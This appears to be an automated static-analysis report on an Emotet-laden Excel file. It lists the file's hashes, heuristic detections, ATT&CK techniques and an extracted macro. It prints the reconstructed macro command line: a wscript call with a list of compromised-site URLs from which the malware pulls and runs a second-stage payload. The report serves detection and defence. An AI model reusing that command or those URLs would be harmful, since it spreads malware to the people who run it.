Emotet — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 49c408fe05e7e000…

MALICIOUS

Office (OLE) / .XLS

134.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: e360acebc8e5c4b6db8edc92d03e88d7 SHA-1: 32d989063ef2cd232c4b698cbb95a449a9019ae4 SHA-256: 49c408fe05e7e000219b836c43f7476ac5cfe35c671add9f5969f861be201ec0
280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Excel document containing VBA macros. The Workbook_Open macro is triggered upon opening, which uses CreateObject to instantiate Wscript.Shell. This object is then used to execute a command line constructed from a series of concatenated strings. The reconstructed command line is 'wscript.exe -e "VBA7.Base64Decode" "http://mytelefoniists.de/wp-content/bL8fXv2M/,https://yyeald.finance/wp-content/uploads/jqAorV83quhL23HM/,http://tattoblog.cn/wp-inclues/7AvyW/,http://docs-construction.com/wHSE-admin/jDQg/,http://sep.dfsolar.club/hzh3v/poAgopszu6a1EIG/,http://b-lubisi-motivation-speaker.com/wp-admin/Wf5rQabNRai/,https://pmfstukm.coiU/wp-admin/SoenE35FXJBKjVnfM/,http://sesco-ks.com/wp-content/DJkMvU6cB45/,https://sangwin.in/maggniapient-e/UzYq1lvgwq/,http://actividades.laforetangueages.com/wp-admin/OfQx/,http://isgbcopylive.com.br/wp-admin/hAvXqZc4DyK BzO/"'. This command downloads and executes a second-stage payload. The presence of Wscript.Shell and the download/execute pattern are characteristic of Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetExcel02226-9938630-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02226-9938630-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
d6216b1540c6d866e0cdc66ed3bfa2b79b477655c56d42a698e7b407351a97e3		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 6560 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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